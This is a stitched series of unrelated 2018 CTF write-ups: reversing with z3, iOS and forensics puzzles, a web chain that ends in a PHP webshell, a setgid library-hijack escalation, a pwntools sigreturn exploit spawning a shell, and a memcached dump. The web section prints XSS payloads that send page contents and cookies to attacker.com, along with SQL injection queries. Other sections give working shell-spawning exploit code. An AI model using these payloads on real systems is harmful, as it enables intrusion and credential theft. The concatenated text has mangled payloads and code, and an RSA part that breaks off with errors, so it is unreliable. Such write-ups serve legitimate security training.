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In main function we have something like
```void main(int argc, const char **argv){ int num, flag_len; char *str1, *str2; char flg[18];
menu(); if ( argc > 1 ) { flag_len = strlen(argv[1]); str1 = &g_DEAEBAAC; str2 = &g_8C2A6EAE; num = 4919; calculate(&g_DEAEBAAC, &g_8C2A6EAE, &num); if ( 6 * num / 6 != flag_len ) // in the debugger you can see that the required length = 18 { puts("Wrong pass :("); exit(0); } strcpy(flg, argv[1]); func_one(flg[0], flg[1]); func_two(flg[1], flg[2]); func_three(flg[2], flg[3], flg[4]); func_four(flg[5], flg[6], flg[7]); func_five(flg[8], flg[9], flg[11]); func_six(flg[10], flg[12], flg[13]); func_sev(flg[14], flg[15], flg[16]); func_final(flg[16], flg[17]); puts("Daaaaaaamn , that was ez , validate the task with that input ;) "); } else { puts("Usage : ./prog PASS"); }}```
In func_NUM we have equations which we can solve with z3.
So let's write a script!
```from z3_staff import * # https://github.com/KosBeg/z3_staff
var_num = 18create_vars(var_num, size = 17) # create 18 BitVecs(x0...x17) with 17 bits sizesolver()init_vars(globals())set_ranges(var_num) # set ASCII ranges for x0...x17
# add_eq( x0 > 29 ) # we have flagFormat - {x0...x4, x17}, so we can skip it# add_eq( x1 <= 120 )# add_eq( pw == z3_pow((x1 ^ x0), 4919.0) ) # add_eq( fmd == x1 * fmod(pw, 500.0) )# add_eq( z3_pow(fmd, 2.0) - (282000 * x0 * x1 + 4900000) == 10663648 )# add_eq( x4 * (x3 ^ x2) - x2 == 641 )# add_eq( x2 * x2 / x4 + x3 == 179 )add_eq( x5 + (x7 ^ x6) % 4 == 113 )add_eq( x6 * x7 / x5 == 117 )add_eq( x7 > 49 )add_eq( (2 * x9 ^ x8 * x11) == 8983 )add_eq( x11 * x8 - (x9 ^ x8 * x11) == 116 )add_eq( ((311 - x12) ^ x10 * x13) == 9819 )add_eq( x12 + 3 * x10 - 2 * x13 * x10 == -19332 )add_eq( 202 * (x16 * x14 + x15) - x15 * (x14 ^ x16) == 1998612 )add_eq( ((x16 + x17) * x16 * x17 ^ 0x1337) - (x16 - (x17 ^ x16) + x16) == 2816180 )
set_known_bytes('Flag{*}', var_num) # set flagFormat
i = 0start_time = time.time()while s.check() == sat: prepare_founded_values(var_num) print prepare_key(var_num) iterate_all(var_num) i += 1print('--- %.2f seconds && %d answer(s) ---' % ((time.time() - start_time), i) )```
but due collisions -_- we have```Flag{qss_that_bad}Flag{nqrath_t_bad}Flag{ntoath_t_bad}Flag{nunath_t_bad}Flag{npsath_t_bad}Flag{ppuath_t_bad}Flag{ppu_that_bad}Flag{pqt_that_bad}Flag{qqu_that_bad}Flag{pqtath_t_bad}Flag{qquath_t_bad}Flag{notath_t_bad}Flag{not_that_bad}Flag{nqr_that_bad}Flag{oqsath_t_bad}Flag{nto_that_bad}Flag{prsath_t_bad}Flag{prs_that_bad}Flag{psrath_t_bad}Flag{psr_that_bad}Flag{qssath_t_bad}Flag{oqs_that_bad}Flag{nspath_t_bad}Flag{nsp_that_bad}Flag{osqath_t_bad}Flag{osq_that_bad}Flag{pupath_t_bad}Flag{pup_that_bad}Flag{quqath_t_bad}Flag{quq_that_bad}Flag{ptqath_t_bad}Flag{ptq_that_bad}Flag{nps_that_bad}Flag{nrqath_t_bad}Flag{nrq_that_bad}Flag{nnuath_t_bad}Flag{nnu_that_bad}Flag{oouath_t_bad}Flag{oou_that_bad}Flag{nun_that_bad}Flag{ouo_that_bad}Flag{ouoath_t_bad}--- 0.63 seconds && 42 answer(s) ---```
Rigth flag is: Flag{not_that_bad} |
## be_back
__Type:__ RE/iOS
__Files:__ [beback.ipa](beback.ipa)
## Solution:As usual, let's start with the static analysis of the app. Right after unpacking this app we can see something interesting. Specifically, `Settings.plist` file.
```XMLSettings.plist
<plist version="1.0"><dict> <key>secret.srv</key> <string>http://beback.insomni.hack</string> <key>app.secret</key> <string>s3cret1NS1800000</string></dict></plist>```
Some server address and a secret key. The server seems to detect access from desktop and returns```ARE YOU KIDDING ME?!!```so we'll see how it is used by the app later.
Also we can see that the app was written in Swift, judging by all those `libswift*.dylib` in Frameworks folder.
Now let's take a look at the binary.
```$ file be_backbe_back: Mach-O universal binary with 2 architectures: [arm_v7:Mach-O executable arm_v7] [arm64:Mach-O 64-bit executable arm64] be_back (for architecture armv7): Mach-O executable arm_v7 be_back (for architecture arm64): Mach-O 64-bit executable arm64 ```Well fine, no simulator, we will have to use the real device then. Let's continue with disassembly, I used Hopper.
Searching for strings, besides a lot of ObjC methods, revealed some interesting things. The most suspicious looking strings was following:```flagLblhflagLbl...fakeflagflag...8929343685299874...INS{**************}..."Jailbreaked Device!/Applications/Cydia.app/Library/MobileSubstrate/MobileSubstrate.dylib/bin/bash/usr/sbin/sshd/etc/aptcydia://package/com.example.package```
First, we can see that app tries to perform simple Jailbreak detection, which is only a bit more useful than completely useless.Second, we can guess from it that there is two variables/textlabels for the flag, and one of them is fake, which is probably the string nearby, and that may be really useful.Then, there is a really suspicious 16 char/digit string which may be some encryption key or iv.
Ok, time to see the disassembly. Searching for the refs to found strings lead us to some relatively big and interesting procedure. Just by glancing at it we can see that it starts with reading the `Settings.plist` we found earlier.
By intercepting the traffic from the device we can see following:```>>>GET / HTTP/1.1Host: beback.insomni.hackAccept: */*User-Agent: be_back/1 CFNetwork/894 Darwin/17.4.0Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: close
<<<HTTP/1.1 200 OKDate: Fri, 23 Mar 2018 20:46:09 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 44Connection: closeContent-Type: text/html; charset=UTF-8
iP8/kFDsdzx6tZo7vk65HlIgC7cTaTj+HmoG4EMouo0=```
Base64 encoded string. Decoded it looks like encrypted data, most likely the flag. By now we already have everything that we need to get the flag. But let's continue to see what we still can do.
By following the disassembly we can see that closer to the end two variables is used. First `objc_ivar_offset__TtC7be_back14ViewController_flag` then `objc_ivar_offset__TtC7be_back14ViewController_fakeflag` right next to `INS{**************}`. So it indeed looks like it saves the real flag after decryption, but displays only the fake flag. Now we have different choices - we can modify property in binary, or add dylib to the app and reflect needed property in runtime. (Then repack it and resign with valid certificate).
Also one of the ways may be to attach a debugger after the decryption is done and just do ```po [[[UIApplication sharedApplication] keyWindow] recursiveDescription]```
which will return```(lldb) po [[[UIApplication sharedApplication] keyWindow] recursiveDescription]<UIWindow: 0x113d648e0; frame = (0 0; 375 667); autoresize = W+H; gestureRecognizers = <NSArray: 0x113d658e0>; layer = <UIWindowLayer: 0x113d64d50>> | <UIView: 0x113d739b0; frame = (0 0; 375 667); autoresize = W+H; layer = <CALayer: 0x113d73890>> | | <UIImageView: 0x113d71bc0; frame = (0 0; 320 568); hidden = YES; autoresize = RM+BM; userInteractionEnabled = NO; layer = <CALayer: 0x113d71df0>> | | <UIImageView: 0x113d72b60; frame = (36 73; 248 259); clipsToBounds = YES; hidden = YES; opaque = NO; layer = <CALayer: 0x113d72d90>> | | <UIButton: 0x113d6a170; frame = (124 376; 72 72); hidden = YES; opaque = NO; autoresize = RM+BM; layer = <CALayer: 0x113d6a710>> | | | <UIImageView: 0x113eb4760; frame = (0 0; 72 72); clipsToBounds = YES; opaque = NO; userInteractionEnabled = NO; layer = <CALayer: 0x113ea2960>> | | <UIView: 0x113ebf960; frame = (-1 0; 321 568); autoresize = RM+BM; layer = <CALayer: 0x113ebfd40>> | | | <UIImageView: 0x113ebfd60; frame = (0 20; 375 402); autoresize = RM+BM; userInteractionEnabled = NO; layer = <CALayer: 0x113ebff90>> | | | <UIImageView: 0x113ec0eb0; frame = (0 232; 321 336); autoresize = RM+BM; userInteractionEnabled = NO; layer = <CALayer: 0x113ec0a60>> | | | <UILabel: 0x113ec1d80; frame = (49 429; 235 68); text = 'INS{**************}'; opaque = NO; autoresize = RM+BM; userInteractionEnabled = NO; layer = <\_UILabelLayer: 0x113ec23e0>> | | | <UILabel: 0x113ec85c0; frame = (49 429; 235 68); text = 'INS{1 Am a Mach1ne}'; hidden = YES; opaque = NO; autoresize = RM+BM; userInteractionEnabled = NO; layer = <\_UILabelLayer: 0x113ec8aa0>> | | <\_UILayoutGuide: 0x113d73b90; frame = (0 0; 0 20); hidden = YES; layer = <CALayer: 0x113d72aa0>> | | <\_UILayoutGuide: 0x113ec96c0; frame = (0 667; 0 0); hidden = YES; layer = <CALayer: 0x113e03d80>>```
And we can see there is indeed hidden property with a value `INS{1 Am a Mach1ne}`
Done. |
```Lone_Author_Writeup```Trying to open zip file threw an error. So I examined its headers. They should look like PK\x03\x04 or PK\x05\x06 or PK\x07\x08. However they are PKF\x03\x04. In the next occurance of PK, the letter immediate to PK is l and so on. They are as follows```PKFPKlPKaPKgPK{PKMPK3PK3PKtPK_MPK3PK_1```It is evident that we are in right direction. We got first part of flag as "Flag{M33t_M3_1. Removed these extra chars from file and saved it as lone_fixed.zip. Ran binwalk on lone_fixed.zip and it found 0.zip,"qr_ps.tif", 0e68542470, secret.zip. secret.zip and 0.zip are had an image with name "export.png" and we need password to unlock it.```han@kali:~/Desktop/ctf/asd/la » binwalk -e lone_fixed.zip
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 8001, uncompressed size: 156370, name: qr_ps.tif8068 0x1F84 Zip archive data, at least v2.0 to extract, compressed size: 29, uncompressed size: 32, name: 0e685424708165 0x1FE5 Zip archive data, at least v1.0 to extract, compressed size: 11132, uncompressed size: 11132, name: secret.zip19343 0x4B8F End of Zip archive```file 0e68542470 hinted to look at .tiff```han@kali:~/Desktop/ctf/asd/la/_lone_fixed.zip.extracted » cat 0e68542470 Man, you have to this this TIFF!% ```It looked like a partial qr code. Then I examined exifdata of the file and found password for both zip files in author comments of exifdata as "0xNOX**". Use it to extract the image "export.png" and it has second part of flag```han@kali:~/Desktop/ctf/asd/la/_lone_fixed.zip.extracted » exiftool qr_ps.tif 1 ↵ExifTool Version Number : 10.65File Name : qr_ps.tifDirectory : .File Size : 153 kBFile Modification Date/Time : 2018:03:21 12:18:49-04:00File Access Date/Time : 2018:03:26 03:38:16-04:00File Inode Change Date/Time : 2018:03:21 12:18:49-04:00File Permissions : rwxrwxrwxFile Type : TIFFFile Type Extension : tifMIME Type : image/tiffExif Byte Order : Little-endian (Intel, II)Subfile Type : Full-resolution ImageImage Width : 175Image Height : 175Bits Per Sample : 8 8 8 8Compression : UncompressedPhotometric Interpretation : RGBStrip Offsets : 33870Orientation : Horizontal (normal)Samples Per Pixel : 4Rows Per Strip : 175Strip Byte Counts : 122500X Resolution : 72Y Resolution : 72Planar Configuration : ChunkyResolution Unit : inchesSoftware : Adobe Photoshop CC 2015 (Windows)Modify Date : 2018:03:21 17:04:04Extra Samples : Associated AlphaXMP Toolkit : Image::ExifTool 10.75Format : image/tiffAuthor : Password to the second part is 0xNOX**Color Mode : RGBCreate Date : 2018:03:21 16:53:01+01:00Creator Tool : Adobe Photoshop CC 2015 (Windows)Metadata Date : 2018:03:21 17:04:04+01:00Derived From Document ID : xmp.did:2af6b33f-3c7b-a24b-9843-1996a1b84602Derived From Instance ID : xmp.iid:3f770dda-d0ca-a143-b15f-e83cc237e3e5Derived From Original Document ID: xmp.did:0697a83c-7578-eb46-9563-317a5fd69d58Document ID : adobe:docid:photoshop:73c987be-2d21-11e8-b06c-dfbcca89ae7aHistory Action : created, saved, saved, converted, derived, saved, saved, converted, derived, savedHistory Instance ID : xmp.iid:0697a83c-7578-eb46-9563-317a5fd69d58, xmp.iid:481c4c0f-3e35-6445-b934-e4c85439f5c1, xmp.iid:a626861d-83ab-2741-bffa-670135153615, xmp.iid:2af6b33f-3c7b-a24b-9843-1996a1b84602, xmp.iid:3f770dda-d0ca-a143-b15f-e83cc237e3e5, xmp.iid:ff12e802-eabc-8546-abc4-fd24b1476556History Software Agent : Adobe Photoshop CC 2015 (Windows), Adobe Photoshop CC 2015 (Windows), Adobe Photoshop CC 2015 (Windows), Adobe Photoshop CC 2015 (Windows), Adobe Photoshop CC 2015 (Windows), Adobe Photoshop CC 2015 (Windows)History When : 2018:03:21 16:53:01+01:00, 2018:03:21 17:01:41+01:00, 2018:03:21 17:03:52+01:00, 2018:03:21 17:03:52+01:00, 2018:03:21 17:04:04+01:00, 2018:03:21 17:04:04+01:00History Changed : /, /, /, /, /History Parameters : from image/png to application/vnd.adobe.photoshop, converted from image/png to application/vnd.adobe.photoshop, from application/vnd.adobe.photoshop to image/tiff, converted from application/vnd.adobe.photoshop to image/tiffInstance ID : xmp.iid:ff12e802-eabc-8546-abc4-fd24b1476556Original Document ID : xmp.did:0697a83c-7578-eb46-9563-317a5fd69d58IPTC Digest : 00000000000000000000000000000000Displayed Units X : inchesDisplayed Units Y : inchesPrint Style : CenteredPrint Position : 0 0Print Scale : 1Alpha Channels Names : TransparencyGlobal Angle : 30Global Altitude : 30URL List : Slices Group Name : Num Slices : 1Pixel Aspect Ratio : 1Photoshop Thumbnail : (Binary data 3889 bytes, use -b option to extract)Has Real Merged Data : YesWriter Name : Adobe PhotoshopReader Name : Adobe Photoshop CC 2015Color Space : UncalibratedExif Image Width : 175Exif Image Height : 175Image Source Data : (Binary data 19892 bytes, use -b option to extract)Image Size : 175x175Megapixels : 0.031
```
Fina flag is : Flag{M33t_M3_1n_tHe_p4RK_T0mOrrOW} |
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The organizers provide us with two files: a grayscale picture of Lena, and a dithered black-and-white version.
The solution is to apply Floyd-Steinberg dithering to reduce lena.tif to a black-and-white image, then XORing the result with embed.tif.
More details and code samples are available in the attached link. |
# Shop questCategory: Web Points: 500 Solves: 0 Description:
For this task, teams could get 500 points, it consisted of several stages that led to the execution of the code. Unfortunately, because of the heavy workload, the task sometimes worked slowly, but it was still possible to solve it. Nobody received the flag, although some teams went through 2 stages out of three and almost reached the goal. I hope that to solve it in any case was interesting and glad that many attempted to get the flag.
## Stage 1 - Client sideFirstly, we can see a main page. In the browser console, we can see the name of the Vue.js framework used to chat with the operator.Secondly, in source code we can see injection point, there is the customer name, which is specified at registration.
This XXS will work on the operator page. Final attack vector for stealing Operator info:```${toString.constructor('var http=new XMLHttpRequest();http.open("POST","http://attacker.com/?bot", true);http.setRequestHeader("Content-type","application/x-www-form-urlencoded");http.send("res="+btoa(unescape(encodeURIComponent(document.body.innerHTML))));')()}```On *attacker.com* we can see the page where the operator is located reading our message.Decode this page and find operator's password:
*Change your default password: Floise_default_@@@f*
But, you can ask: "Where can I find the login? Login "Operator" doesn't work!"Ok) We can see non http only cookie - *userId*. This is IDOR. We can steal operator's cookie and make request to the server with it.
```${toString.constructor('document.location = "http://attacker.com/?"+document.cookie')()}```
Login as Operator:
login: Mark_323212
Password: Floise_default_@@@f
## Stage 2 - SQL Injection
Here we can see operator's page. The operator has three additional methods:
+ GET /Chat/getMessages?chatId=1+ GET /Operator/chat?chatId=1+ POST /Chat/sendToClient
After a few minutes of fuzzing we can see that the first one may response with 500 status code.Unfortunately, automatic scanners will not give anything here. We need professional pentester's skills!
+ /Chat/getMessages?chatId=1'--+-+ /Chat/getMessages?chatId=1"--+-+ /Chat/getMessages?chatId=1`--+-
WoW! The third one retrieve status code 200! So, there is injection in chat table name.
```SELECT * FROM `chat_<chatId>````
This is UNION based injection and we can see output. After a difficult dumping of the database structure, we find out the login and password hash of the admin.
Query:```http://shop-quest.quals.2018.volgactf.ru/Chat/getMessages?chatId=1`+union+select+login,hash,role,4+from+users+where+role=3--+-```
Answer:```{"status":"ok","messages":[{"id":"1","text":"Hi. man","is_operator":0,"time":"11:02 PM"},{"id":"2","text":"May the Force be with you","is_operator":1,"time":"11:02 PM"},{"id":"3","text":"sdfsdf","is_operator":1,"time":"11:06 PM"},{"id":"Bibant","text":"3730a48f24ed9610f1ba7d4e6618f36135be1417755c3b9b2abc0c46e0803a8c","is_operator":3,"time":"4"}]}```
*Bibant / 3730a48f24ed9610f1ba7d4e6618f36135be1417755c3b9b2abc0c46e0803a8c*
Hash is sha256. The first thing that comes to mind is the online brute password. It's success.
Login as Admin:
login: Bibant
Password: insaneclownposse
## Stage 3 - RCE
This stage is final and allows uploading php shell. There is simple extension filter in uploads, words *php* and *htm* are replaced by empty string.
We have simple bypass like: *shell.pphphp*
When we upload a file, we obtain the generated random name for it.
But where is our shell? Let's read source code of site. We have the ability to save product info in XML format. Maybe XXE? YES!
However, even if the file is valid, the error is returned, that the functionality does not work yet.
*{"status":"error","message":"Table `goods` doesn't exist"}*
Let's try OOB XXE, and read index.php. Maybe it exists on the server. Send this payload:```
%sp;%param1;]><r>&exfil;</r>```
oob.xml```
">```
We received index.php and than we have to read several files to find the file download code:```require_once 'utils/Core.php';```
*utils/Core.php*```foreach ( glob( $_SERVER['DOCUMENT_ROOT'] . '/controllers/*Controller.php' ) as $filename ) {```
*controllers/AdminController.php*```require_once 'utils/Uploader.php';```
Finally, file is uploaded to:```/uploads_FjsyFkf/md5(user_login . asdasHF$&@(F&@)AF)JFN)/```
user_login = Bibant, and we can finally find the flag:
*Find flag:*```http://shop-quest.quals.2018.volgactf.ru/uploads_FjsyFkf/a616589f9ab86eb8f51060dc6da4f545/ZoSkHTE.php?c=find / -name flag*```
*Read flag:*```http://shop-quest.quals.2018.volgactf.ru/uploads_FjsyFkf/a616589f9ab86eb8f51060dc6da4f545/ZoSkHTE.php?c=cat /home/flag*```
Flag is: VolgaCTF{30ff764e5e70f8df3d3f6944c12d0f1a}
P.S. If you have read to the end, you are already a hero)
|
# Guessflag
Guessflag was a warmup pwn at **Insomni'hack 2018**. It was a fairly easy challenge, but we struggled a lot on small details.
## The challenge
We were given ssh access to a remote server, and the challenge was in `/home/flag` there.There we could find a shared lib (`dowin.so`), the main binary (`guessflag`), and a text file (`flag.txt`).
We could see that `guessflag` **was setgid** and that **the owner of both the** `flag.txt` **file and the** `guessflag` **binary was part of the group "flag".**
```bashuser1@insomniak:/home/flag$ ls -altotal 32drwxr-xr-x 2 root root 4096 Mar 26 13:18 .drwxr-xr-x 12 root root 4096 Mar 26 12:50 ..-rwxr-xr-x 1 root root 7512 Mar 26 12:50 dowin.so-rwxr-sr-x 1 root flag 8520 Mar 26 12:51 guessflag-rw-r----- 1 root flag 262 Mar 26 13:18 flag.txt```
With this information, we knew that we'd probably have to exploit the `guessflag` binary to run commands as a member of the "flag" group in order to read `flag.txt`, which most likely contains the flag.
## Analysis
Let's start with some analysis of the binary.
First we look at the output of the `file` command:
```bashuser1@insomniak:/home/flag$ file guessflag guessflag: setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped```
It tells us that `guessflag` is **compiled as a dynamic binary**, which means that it relies on the `libc` of the remote server for standard functions like `printf` et al.! We could make it use our own standard function using [LD_PRELOAD trick](https://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/), but from our little experience, we know that **LD_PRELOAD is ignored when the binary is setuid or setgid**, which is the case here.
So let's move on and look at the output of `ltrace`.
```bashuser1@insomniak:/home/flag$ ltrace ./guessflagputs("Can you guess the flag ?"Can you guess the flag ?) = 25+++ exited (status 255) +++```
Nothing fancy here, let's try with an argument.
```bashuser1@insomniak:/home/flag$ ltrace ./guessflag argputs("Can you guess the flag ?"Can you guess the flag ?) = 25getenv("CHECK_PATH") = nilsnprintf("(null)/dowin.so", 1024, "%s/dowin.so", nil) = 15dlopen("(null)/dowin.so", 1) = 0+++ exited (status 255) +++```
Uuh! Looks like it **first checks if we passed an argument, and if so, tries to get the content of the environment variable CHECK_PATH**.
Let's try to set this variable :
```bashuser1@insomniak:/home/flag$ CHECK_PATH=test ltrace ./guessflag argputs("Can you guess the flag ?"Can you guess the flag ?) = 25getenv("CHECK_PATH") = "test"snprintf("test/dowin.so", 1024, "%s/dowin.so", "test") = 13dlopen("test/dowin.so", 1) = 0+++ exited (status 255) +++```
Alright, so it looks like it **appends the content of CHECK_PATH to the string "/dowin.so" and then tries to use `dlopen` on it**. This means that if we set the CHECK_PATH variable to something like `/tmp/pld` and create our own `dowin.so` in this directory, it will load it !
## Exploit
I had never met the `dlopen` function before, but it's really straightforward.It simply opens a shared object whose path is passed as a parameter and gives you the ability to execute the functions it provides.
The problem here is that we can not create just any random function and simply load our library, as it would never get called.
We struggled a bit here, and [Geluchat](https://dailysecurity.fr) gave us a neat trick: **it is possible to use the [.fini section](http://l4u-00.jinr.ru/usoft/WWW/www_debian.org/Documentation/elf/node3.html) by creating a destructor in our custom `dowin.so`, and which will execute when the lib is unloaded** (*i.e. when the binary exits, here*).
We ended up with the following payload:
```c#include <unistd.h>
void begin (void) __attribute__((destructor));
void begin (void) { system("id && whoami");}
```
We set up the exploit in tmp:
```bashuser1@insomniak:/home/flag$ mkdir /tmp/pld && cd /tmp/plduser1@insomniak:/tmp/pld$ gcc -o dowin.so -fPIC -shared payload.cuser1@insomniak:/tmp/pld$ export CHECK_PATH=/tmp/pld ./guessflag aCan you guess the flag ?uid=1005(user1) gid=985(users) groups=985(users)user1```
Yeah nice, our destructor got executed!But, wait… The permissions were dropped :( WHHHhhyYyyy ?
We struggled for about 2 hours on this, and then asked for a bit of help to a member of Securimag.
He told us that on this machine, /bin/sh was a symlink to /bin/bash, **which drops the setuid and setgid permissions by default when it is called**.
Using `man system`, we can easily figure out that `system()` simply calls `/bin/sh` with the argument it is passed.
He also told us that **the `-p` argument on `/bin/sh` prevents it from dropping the permissions**.
That gave us our second payload:
```cvoid begin (void) __attribute__((destructor));
void begin (void) { char *envp[] = { NULL }; char *argv[] = { "/bin/sh", "-p", NULL }; execve("/bin/sh", argv, envp);}```
We compile and run it…
```user1@insomniak:/tmp/pld$ gcc -o dowin.so -fPIC -shared payload.cuser1@insomniak:/tmp/pld$ CHECK_PATH=/tmp/pld ./guessflag aCan you guess the flag ?user1@insomniak:/tmp/pld$ iduid=1005(user1) gid=985(users) groups=985(users), 990(flag)```
Yay! We got a shell in the `flag` group :D
```user1@insomniak:/tmp/pld$ cat /home/flag/flag.txtINS{th4t_library_was_usele$$}```
Aaand… **Flagged!**
|
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFWriteups</span></span></span><span>/</span>VolgaCTF2018<span>/</span> </div> </div>
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[Securimag's Blog, write-up for the 3 level of S3curLock](https://securimag.org/wp/articles/insomnihack-2018-write-up-s3curlock-level-1-2-3/)
(too much complex to be post here, please follow the link) |
# __Sharif CTF 8__ ## _Run me_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Reverse | 50 | merrychap
**Description:**
> Run the attached file. If you can, you will capture the flag.
> **Note**: Apply the minimum changes to make the file executable. Then, the mentioned hash function is md5. Be sure to run it on a real Windows OS (not Wine, etc.)
## SolutionWe are given with ```PE32``` [RunMe](./RunMe1) binary. If we run this on Windows OS, then we're faced with the problem: ```Unable to start the file ...```. Interesting that if we run this under Wine, then everything will be okay and we get the message ```You succeeded to run the file. flag is hash of file```. As note says, we have to make this binary run on Windows OS.
OS doesn't allow us to just break into the first instruction of the binary. Seems like something wrong with PE32 headers. Let's download some tool for exploring fields of a header (for example [pefile](https://github.com/erocarrera/pefile))
After some investigation we can find the interesting ```Subsystem``` field (```0x154 offset```).
As MSDN says,
> Subsystem is the type of subsystem that this executable uses for its user interface.
There are several values for this field:
```+-------------+---+-----------------------------------+| NATIVE | 1 | Doesn't require a subsystem || | | (such as a device driver) |+-------------+---+-----------------------------------+| Windows GUI | 2 | Runs in the Windows GUI subsystem |+-------------+---+-----------------------------------+| WINDOWS_CUI | 3 | Runs in console subsystem |+-------------+---+-----------------------------------+```
So, right now our subsystem is for device driver. But our binary shows a window with the message! Let's change it on 2 and try again.
## FlagThe last one is to take md5 hash:
> SharifCTF{FA77D55C1D9BDE713E868606AC58D861} |
# Notice me (forensics/stegano)
In the task we get some image drive (heavy one, so we won't upload it here), and hint that someone had secret data they removed.Binwalk says there is a PNG file and strings analysis shows that this PNG is close to `trash` strings.
We extract the image:
Then we checked with stegsolve is maybe there is something hidden in the picture, and it turns out that LSB of the last data lines hides a link, to another image.They look identical, but the next image hides a different link.We assume this might be a long chain, so we've wrote a script to download the whole chain:
```pythonimport codecsimport requestsfrom crypto_commons.generic import chunk
def extract_link(data): bits = [] for b, g, r, a in data: lsb = b & 1 bits.append(lsb) chunked_bytes = chunk(bits, 8) integers = map(lambda x: int("".join(map(str, x)), 2), chunked_bytes) full = "".join(map(chr, integers)) print(full[-100:]) return full[-23:]
def main(): from PIL import Image index = 0 filename = "pngs/" + str(index) + ".png" while True: im = Image.open(filename) data = im.getdata() index += 1 new_link = extract_link(data) print(new_link) r = requests.get("http://" + new_link) filename = "pngs/" + str(index) + ".png" with codecs.open(filename, "wb") as output_file: output_file.write(r.content)
main()```
It turns out it didn't take that long, already the 6th image is:
And hides: `Flag{M1nD_4wAk3_b0DY_4sl33P}` |
it seems like the website is replacing any words contain "script" with "forbidden"like:
<script>alert("x")</script> ===> <forbidden>alert("x")</forbidden>
use this to bypass the filter
#"> |
This is similar to Backdoor 2017 challenge [funsignals](https://backdoor.sdslabs.co/challenges/FUNSIGNALS). reading user input to stack and excute syscalls. except:1. .text segment is readonly;2. flag is not stored in memory;
To resolve above issues, we need multiple syscalls.1. a sigreturn syscall to change the program flow.2. a mprotect syscall to remap text segment to RWX.3. a syscall to read new playload (using the one provided in binary), since stack are switched and old payload are invalidated.4. a final execve syscall to spawn a shell.
```from pwn import *
p = remote('chal1.swampctf.com',1800)
context.arch='amd64'#Sigreturn frame for SYS_mprotectframe = SigreturnFrame()frame.rax = 10 # SYS_mprotectframe.rdi = 0x400000 # addrframe.rsi = 0x1000 # lenframe.rdx = 7 # protoframe.rsp = 0x400400 # point new rsp after the code sectionframe.rip = 0x400104 # to the 1st syscall instruction, so we can then read second payload on new stack and execute.# syscall (rax = SYS_rt_sigreturn)payload1 = p64(0)*3+p64(15)+p64(0)*4+str(frame)# syscall (rax = SYS_execve, rsi = rdx = 0, rdi = addr of '/bin/sh' (placed just after the register values)payload2 = p64(0)*3+p64(59)+p64(0)*3+p64(0x400440)+'/bin/sh\0'print p.recvline().strip()p.sendline(payload1)p.sendline(payload2)
p.interactive()p.close()
``` |
# CTFSecurinets Quals 2018 WriteupThis repository serves as a writeup for CTFSecurinets Quals 2018
## IRC
**Category:** Misc**Points:** 50**Author:** CTF Team**Description:**
>Join the IRC chat! You will find your lovely flag waiting for you.
**Hint:**
>The link to joining the IRC tab ;) Make sure you read the info channel.
### Write-upYou have to join the IRC channel by clicking the IRC tab and then connecting to the [#ctf_securinets channel](https://www.ctfsecurinets.com/irc) to find the flag in the description.
So the flag is : ```Flag{W3Lc0m3_T0_CTFSecurinets_Quals_2018}```.
___
## Service Hidden in the bush
**Category:** Network**Points:** 200**Author:** TheEmperors**Description:**
>The Emperors wanted to hide their secret in a location where they can read it quickly, But they don't know anything about Security. Try to expose it: net1.quals18.ctfsecurinets.com
**Hint:**
>If this task will be absused by any of the teams, the flag will be published here !
### Write-upThe name of the task contains the word service. And it's a network task. It seems that there is a network scan searching for a service.
To do that, we have to use a tool that scan the domain name ports to find out which service is.
So we have to launch a detailed scan targetting only the port discovery:
```nmap net1.quals18.ctfsecurinets.com -p 1-20000```
Output :```Nmap scan report for net1.quals18.ctfsecurinets.com (34.245.183.111)Host is up (0.015s latency).rDNS record for 34.245.183.111: ec2-34-245-183-111.eu-west-1.compute.amazonaws.comNot shown: 11976 closed portsPORT STATE SERVICE22/tcp open ssh445/tcp filtered microsoft-ds11211/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 2038.91 seconds```
It shouldn't be SSH service.
Microsoft-ds ? Maybe. Bu what's that unknown service listening in the 11211/TCP port ?
After Googling it, we find out that Memcached is a cache service which listen on that port. And knowing that the title of the task is Service Hidden in the bush, we can understand that "hidden" means "caching". So maybe we can ignore that microsoft-ds service actually.
Let's try to netcat it:
```netcat net1.quals18.ctfsecurinets.com 11211```
No output, be we authenticated successfully without credentials. It's logic because cache servers doesn't needs credentials. But this service is exposed in a public network.
Let's try to dump the 100 first keys:
```stats cachedump 1 100```
Output :```ITEM flag [23 b; 1521997883 s]END```
Excellent ! Now let's dump that flag item:
```get flag```
Output :```Flag{M3mc4cH3d_3xp0s3d}END```
So the flag is : ```Flag{M3mc4cH3d_3xp0s3d}```.
___
## The worst RSA Joke
**Category:** Crypto**Points:** 350**Author:** TheEmperors**Description:**
>The Emperors heard that the biggest weakness of RSA is when the attacker try to factorize the public modulous. That's why they ordered their security team to create pair keys using a single strong (big) prime modulous. Then, they started sending the first secret information. Given the public key and the ciphertext, can you decrypt the message ?>Link : [http://crypto.ctfsecurinets.com/2/RSA_Worst_Joke.tar.gz](resources/crypto-350-the_worst_rsa_joke/RSA_Worst_Joke.tar.gz)
**Hint:**
>Learn about RSA.
### Write-up
#### Understanding the problem
RSA is an asymmetric cryptography algorithm that require a public key (the modulus `n=p*q` and the public exponent `e`) and a private key (the modulus `n=p*q` and the private exponent `d`).
But looking at the description, TheEmperors changed premises of this algorithm: the modulus `n` will not be the multiplication operation of the prime numbers `p` and `q` (`n=p*q`).
Instead, the modulus `n` will be a single prime `n=p`.
Wait ... What ?? But how the decryption process will be ?
The [encryption/decryption Operaion](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Encryption) will not change:
```m = plaintextpublic_key = (n,e)private_key = (n,d)c = ciphertextencryption(public_key,m) = ciphertextdecryption(private_key,c) = plaintextEncryption : c ≡ (m^e) (mod n)Decryption : m ≡ (m^d) (mod n)```
But when the modulus `n` change, the private modulus `d` will change.
The private modulus cas be extracted from this expression `d*e ≡ 1 (mod Φ(n))`; (the most important expression in RSA) where `Φ` is Euler's Totient function.
